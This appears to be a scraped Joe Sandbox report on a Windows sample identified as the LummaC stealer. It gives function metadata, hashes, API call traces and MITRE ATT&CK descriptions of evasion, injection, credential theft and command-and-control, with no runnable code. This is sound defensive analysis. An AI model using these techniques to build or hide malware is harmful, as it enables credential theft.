Opcode ID: e625cb8d051d3772a5171a6dfe0283431b2eddaa7b2daa7c32447ab67b819793
Instruction ID: 22042a82daa9c05b653c3a3a511ae61843971b09b2906d199e328be67e354080
Opcode Fuzzy Hash: e625cb8d051d3772a5171a6dfe0283431b2eddaa7b2daa7c32447ab67b819793
Instruction Fuzzy Hash: 3821AF7160460DEF9B20AF76C88187BB7A8FF523687108529FA19D7251DF31EC518B91

Function 008E95B2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bf5c2c99da3ef6c14821302226b207f97fc27613ae216f2556e748f8d3b6beb
Instruction ID: 1c1e2f18ef16120fc3861288010ec6e2bab294117f476f9fd0d62098f0928217
Opcode Fuzzy Hash: 3bf5c2c99da3ef6c14821302226b207f97fc27613ae216f2556e748f8d3b6beb
Instruction Fuzzy Hash: AE21A471204289AF9B20AF7BCC4096B77A8FF623687108516FD96D7261EBB0EC40C761

Function 008F947E Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 008F9486

Part of subcall function 008F23C1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,008F3B95,?,00000000,-00000008), ref: 008F2422

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 008F94BE
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 008F94DE

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: bac99e9b5553f23c839401a618100fe9fbe2714f550d27c353877d94f8d5dc27
Instruction ID: 26636a0f97fd4efa9f66983cf29a22a850be33ce555e0e8ad15f071ce659f347
Opcode Fuzzy Hash: bac99e9b5553f23c839401a618100fe9fbe2714f550d27c353877d94f8d5dc27
Instruction Fuzzy Hash: 4F1149F160461EBFAB1227BA5C89DBFA99CFE983987100014FF41D2201FA30CE0191B2

Function 009027D0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,009014BF,00000000,00000001,?,?,?,008FA650,?,00000000,00000000), ref: 009027E7
GetLastError.KERNEL32(?,009014BF,00000000,00000001,?,?,?,008FA650,?,00000000,00000000,?,?,?,008F9F96,?), ref: 009027F3

Part of subcall function 00902850: CloseHandle.KERNEL32(FFFFFFFE,00902803,?,009014BF,00000000,00000001,?,?,?,008FA650,?,00000000,00000000,?,?), ref: 00902860

___initconout.LIBCMT ref: 00902803

Part of subcall function 00902825: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,009027C1,009014AC,?,?,008FA650,?,00000000,00000000,?), ref: 00902838

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,009014BF,00000000,00000001,?,?,?,008FA650,?,00000000,00000000,?), ref: 00902818

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 3806d184612c893aa00da899906021a2014c5109a4b2fbdd054eb269aa166d28
Instruction ID: dd66ba833b2d9fb50f4f8e4e4547905c793ff83e229c9ed658dd9a6702657c69
Opcode Fuzzy Hash: 3806d184612c893aa00da899906021a2014c5109a4b2fbdd054eb269aa166d28
Instruction Fuzzy Hash: AAF0AC3A615115BFCF232FD5EC0CAD97F66EB483A1B04C054FE1996160D7328960EBA1

Function 008E6EF5 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 008E6F07
GetCurrentThreadId.KERNEL32 ref: 008E6F16
GetCurrentProcessId.KERNEL32 ref: 008E6F1F
QueryPerformanceCounter.KERNEL32(?), ref: 008E6F2C

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 79f00caf4581adc0f465f0fd1c2894ba093aaf3600de212cec924271c4deb441
Instruction ID: c758fe72be2574548f12fab1210fa65883991536370dfd6edcf15a7856d487e4
Opcode Fuzzy Hash: 79f00caf4581adc0f465f0fd1c2894ba093aaf3600de212cec924271c4deb441
Instruction Fuzzy Hash: 9EF06274D2420DEBCB01DBB4DA499DEBBF4EF1D200B918596A512E7110E730AB44DB50

Function 008FBB8D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 008FBC1D

Strings

pow, xrefs: 008FBBF5, 008FBC12

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 8ea2446ae61ae4564312f58ea295b2c456709d1db61233777c3d235cc6795ef5
Instruction ID: cbfed8ded1733c73777f698365254ea0bd6501a66539fd15019f8fca26b354f7
Opcode Fuzzy Hash: 8ea2446ae61ae4564312f58ea295b2c456709d1db61233777c3d235cc6795ef5
Instruction Fuzzy Hash: DC518A71A1810D9ACB117738CE4137B3BA4FF40750F348D68E2DAC22E8EF358D91AA46

Function 008F1D32 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,008F1C33,?,?,00000000,00000000,00000000,?), ref: 008F1D57

Strings

MOC, xrefs: 008F1D69
RCC, xrefs: 008F1D71

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 07acceaa4ccdbe9247f0fa90008380bdc1838f580dccb5a0dc9349d7f62911eb
Instruction ID: ea8a9889f6f669295833e3fcd079590b5b47a1ba24eeceda5ee6c0e89785fa8a
Opcode Fuzzy Hash: 07acceaa4ccdbe9247f0fa90008380bdc1838f580dccb5a0dc9349d7f62911eb
Instruction Fuzzy Hash: A941357690020DEFCF16DFA8CC85AAEBBB5FF48314F148159FA18A6221D335A960DB51

Function 008F159E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 008F1815

Strings

csm, xrefs: 008F1837
csm, xrefs: 008F18A8

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 391ba6bed871447abfdad8a1d46af7a738aefda8dac280747a7ddfd3c03af811
Instruction ID: 7a1d6b116db2ae7bfb1af7e692b3f44bd75ac0295322012a9e1efd4dcafc7b8d
Opcode Fuzzy Hash: 391ba6bed871447abfdad8a1d46af7a738aefda8dac280747a7ddfd3c03af811
Instruction Fuzzy Hash: 4B31E43291020DEBCF269FB0CD189BA7B66FF08756B18416AFE5489121C372CCA1DBD1

Function 008D1DB0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 78libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 008D1E6E

Strings

VirtualProtect, xrefs: 008D1E61
@, xrefs: 008D1EB7

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: AddressProc
String ID: @$VirtualProtect
API String ID: 190572456-29487290
Opcode ID: cd1bc66536d6d174310cd984ab753a5805c2d9509b5a68ad82c431a2bbc19b39
Instruction ID: 339f22565752240dc3cf389553a1a47b106638a31d95dfc36e79d2cfad24e7a4
Opcode Fuzzy Hash: cd1bc66536d6d174310cd984ab753a5805c2d9509b5a68ad82c431a2bbc19b39
Instruction Fuzzy Hash: AE41E2B0A14209EFCB04DFA9D5986DEBBF0FF48314F11851AE849AB350D7759A84CF82

Function 008E3961 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 008E39E9
RaiseException.KERNEL32(?,?,?,?), ref: 008E3A0E

Part of subcall function 008E701C: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,?,?,?,?,?,?,008D305D), ref: 008E707D

Part of subcall function 008EEB23: IsProcessorFeaturePresent.KERNEL32(00000017,008EA15B,?,?,?,?,00000000,?,?,008EE5BE,00000000,00000000,00000000,00000000,00000000), ref: 008EEB3F

Strings

csm, xrefs: 008E399D

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: 9d88483188e6f4a78db09efcc845582002834db61e685a40113292bb3caff654
Instruction ID: 162a77b99e7b5fe75d104a75c22739c5023b884db9c14e14208e488fcbfed108
Opcode Fuzzy Hash: 9d88483188e6f4a78db09efcc845582002834db61e685a40113292bb3caff654
Instruction Fuzzy Hash: C1216231D00568ABCF24EF9AD849A9EBBB4FF46710F144429E446EB151D770AE85CB81

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 6QLvb9i.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
6QLvb9i.exe

Function 0091519E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Function 008D1C10 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 108
libraryfileloaderCOMMON

Function 008F3202 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 008D1DB0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 78
librarymemoryloaderCOMMON

Function 008EBE33 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 008F9EB4 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Function 008FA68D Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Function 008F3D52 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 008D2010 Relevance: 3.0, APIs: 2, Instructions: 34
COMMON

Function 008F2277 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Function 008D14C0 Relevance: 1.8, APIs: 1, Instructions: 308
COMMON

Function 008E4C70 Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Function 008E3390 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Function 008F32CD Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Function 008D2210 Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre